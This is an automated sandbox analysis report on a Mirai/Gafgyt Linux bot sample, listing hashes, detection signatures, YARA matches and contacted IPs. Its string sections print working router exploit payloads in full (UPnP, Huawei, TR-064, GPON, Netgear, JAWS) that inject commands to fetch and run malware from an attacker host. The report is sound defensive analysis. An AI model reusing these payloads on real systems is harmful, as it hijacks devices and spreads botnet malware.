Linux Analysis Report
yNGgbod6dt.elf

Overview

General Information

Sample Name:	yNGgbod6dt.elf
Analysis ID:	780227
MD5:	62f1db29777c386f59a4836a2578e635
SHA1:	0adc886845b8a3a549b6d41a16c7e1644ec15908
SHA256:	2b68e82dada6e7bfa17c1ef77c4f03920d5644e34686a6e8a6ea5b809de70c1a
Tags:	32elfgafgytMirai
Infos:
Errors No process behavior to analyse as no analysis process or sample was found

Detection

Mirai

Score:	76
Range:	0 - 100
Whitelisted:	false

Signatures

Malicious sample detected (through community Yara rule)

Yara detected Mirai

Multi AV Scanner detection for submitted file

Found strings indicative of a multi-platform dropper

Yara signature match

Sample contains strings that are potentially command strings

Sample has stripped symbol table

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Signatures

AV Detection

Multi AV Scanner detection for submitted file

Source: yNGgbod6dt.elf	ReversingLabs: Detection: 41%
Source: yNGgbod6dt.elf	Virustotal: Detection: 49%			Perma Link

Spreading

Found strings indicative of a multi-platform dropper

Source: yNGgbod6dt.elf	String: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>busybox wget http://89.208.107.26/miniupd.sh; sh w.sh; curl http://89.208.107.26/miniupd.sh; sh c.sh; wget 89.208.107.26/miniupd.sh; sh wget.sh; curl http://89.208.107.26/miniupd.sh; sh wget.sh; busybox wget http://89.208.107.26/miniupd.sh; sh wget.sh; busybox curl http://89.208.107.26/miniupd.sh; sh wget.sh; iptables -A INPUT -p tcp --destination-port 5555 -j DROP`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Source: yNGgbod6dt.elf	String: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>busybox wget http://89.208.107.26/miniupd.sh; sh w.sh; curl http://89.208.107.26/miniupd.sh; sh c.sh; wget 89.208.107.26/miniupd.sh; sh wget.sh; curl http://89.208.107.26/miniupd.sh; sh wget.sh; busybox wget http://89.208.107.26/miniupd.sh; sh wget.sh; busybox curl http://89.208.107.26/miniupd.sh; sh wget.sh; iptables -A INPUT -p tcp --destination-port 5555 -j DROP`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>GET HTTP/1.1

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 190.173.195.220
Source: unknown	TCP traffic detected without corresponding DNS query: 190.173.195.220
Source: unknown	TCP traffic detected without corresponding DNS query: 190.107.216.65
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42

Source: yNGgbod6dt.elf	String found in binary or memory: http://89.208.107.26/diag00/log21.mips
Source: yNGgbod6dt.elf	String found in binary or memory: http://89.208.107.26/miniupd.sh
Source: yNGgbod6dt.elf	String found in binary or memory: http://89.208.107.26/miniupd.sh;
Source: yNGgbod6dt.elf	String found in binary or memory: http://89.208.107.26/miniupd.sh;chmod$
Source: yNGgbod6dt.elf	String found in binary or memory: http://89.208.107.26/miniupd.sh;sh
Source: yNGgbod6dt.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: yNGgbod6dt.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: yNGgbod6dt.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: yNGgbod6dt.elf, type: SAMPLE

Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Yara signature match

Source: yNGgbod6dt.elf, type: SAMPLE	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: yNGgbod6dt.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Sample contains strings that are potentially command strings

Source: Initial sample	Potential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://89.208.107.26/miniupd.sh;chmod${IFS}777${IFS}miniupd.sh;sh${IFS}/tmp/miniupd.sh&>r&&tar${IFS}/string.js HTTP/1.0
Source: Initial sample	Potential command found: GET /shell?rm+-rf+/tmp/*;wget+http://89.208.107.26/miniupd.sh+-O+/tmp/jaws;sh+jaws HTTP/1.1
Source: Initial sample	Potential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://89.208.107.26/miniupd.sh;sh+/tmp/miniupd.sh
Source: Initial sample	Potential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://89.208.107.26/miniupd.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
Source: Initial sample	Potential command found: GET /
Source: Initial sample	Potential command found: GET /%s HTTP/1.0

Sample has stripped symbol table

Source: ELF static info symbol of initial sample

.symtab present: no

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>busybox wget http://89.208.107.26/miniupd.sh; sh w.sh; curl http://89.208.107.26/miniupd.sh; sh c.sh; wget 89.208.107.26/miniupd.sh; sh wget.sh; curl http://89.208.107.26/miniupd.sh; sh wget.sh; busybox wget http://89.208.107.26/miniupd.sh; sh wget.sh; busybox curl http://89.208.107.26/miniupd.sh; sh wget.sh; iptables -A INPUT -p tcp --destination-port 5555 -j DROP`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>busybox wget http://89.208.107.26/miniupd.sh; sh w.sh; curl http://89.208.107.26/miniupd.sh; sh c.sh; wget 89.208.107.26/miniupd.sh; sh wget.sh; curl http://89.208.107.26/miniupd.sh; sh wget.sh; busybox wget http://89.208.107.26/miniupd.sh; sh wget.sh; busybox curl http://89.208.107.26/miniupd.sh; sh wget.sh; iptables -A INPUT -p tcp --destination-port 5555 -j DROP`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>GET HTTP/1.1
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;busybox+wget+http://89.208.107.26/miniupd.sh+-O+/tmp/gpon80;sh+/tmp/gpon80&ipv=0
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;busybox+wget+http://89.208.107.26/miniupd.sh+-O+/tmp/gpon8080;sh+/tmp/gpon8080&ipv=0
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox tftp -g 89.208.107.26 -r /diag00/log21.mips -l /tmp/huawei;chmod -x /tmp/huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://89.208.107.26/diag00/log21.mips && chmod 777 log21.mips && ./log21.mips tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`rm -rf /tmp/* && /bin/busybox tftp -g 89.208.107.26 -r /diag00/log21.mips -l /tmp/msbin && chmod 777 /tmp/msbin && /tmp/msbin tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;busybox+wget+http://89.208.107.26/miniupd.sh+-O+/tmp/gpon80;sh+/tmp/gpon80&ipv=0GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://89.208.107.26/miniupd.sh;chmod${IFS}777${IFS}miniupd.sh;sh${IFS}/tmp/miniupd.sh&>r&&tar${IFS}/string.js HTTP/1.0
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;busybox+wget+http://89.208.107.26/miniupd.sh+-O+/tmp/gpon8080;sh+/tmp/gpon8080&ipv=0GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://89.208.107.26/miniupd.sh;sh+/tmp/miniupd.shPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox tftp -g 89.208.107.26 -r /diag00/log21.mips -l /tmp/huawei;chmod -x /tmp/huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /HNAP1/ HTTP/1.0
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://89.208.107.26/diag00/log21.mips && chmod 777 log21.mips && ./log21.mips tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>POST /UD/act?1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`rm -rf /tmp/* && /bin/busybox tftp -g 89.208.107.26 -r /diag00/log21.mips -l /tmp/msbin && chmod 777 /tmp/msbin && /tmp/msbin tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>%d.%d.%d.%dGET /HEAD /POST /HTTP/1.1 404 Not FoundServer: ApacheContent-Length: %d
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.208.107.26 -l /tmp/.mupd -r diag00/log21.mips; /bin/busybox chmod 777 /tmp/.mupd; /tmp/.mupd selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: bin/busybox
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.208.107.26 -l /tmp/.mupd -r diag00/log21.mips; /bin/busybox chmod 777 /tmp/.mupd; /tmp/.mupd selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: Content-Length: h/bin/busybox/bin/watchdog/bin/systemdbin/busyboxbin/watchdogbin/systemdbinrm -rf && mkdir ; > && mv ; chmod 777 3f

Source: classification engine

Classification label: mal76.spre.troj.linELF@0/0@0/0

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match

File source: yNGgbod6dt.elf, type: SAMPLE

Remote Access Functionality

Yara detected Mirai

Source: Yara match

File source: yNGgbod6dt.elf, type: SAMPLE

Screenshots

No Screenshots

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
190.173.195.220	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
190.107.216.65	unknown	Argentina	52339	LimaVideoCableSACabletelAR	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

ID:	780227
Product:	CloudBasic
Start time:	16:30:07
Start date:	08.01.2023
Sample:	yNGgbod6dt.elf
Cookbook:	defaultlinuxfilecookbook.jbs
System description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Architecture:	LINUX
MD5:	62f1db29777c386f59a4836a2578e635
SHA1:	0adc886845b8a3a549b6d41a16c7e1644ec15908
SHA256:	2b68e82dada6e7bfa17c1ef77c4f03920d5644e34686a6e8a6ea5b809de70c1a
Filetype:	ELF Executable and Linkable format (generic) (4004/1) 100.00%

Linux Analysis Report yNGgbod6dt.elf

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection

Spreading

Networking

System Summary

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Network Map

Contacted Public IPs

Linux Analysis Report
yNGgbod6dt.elf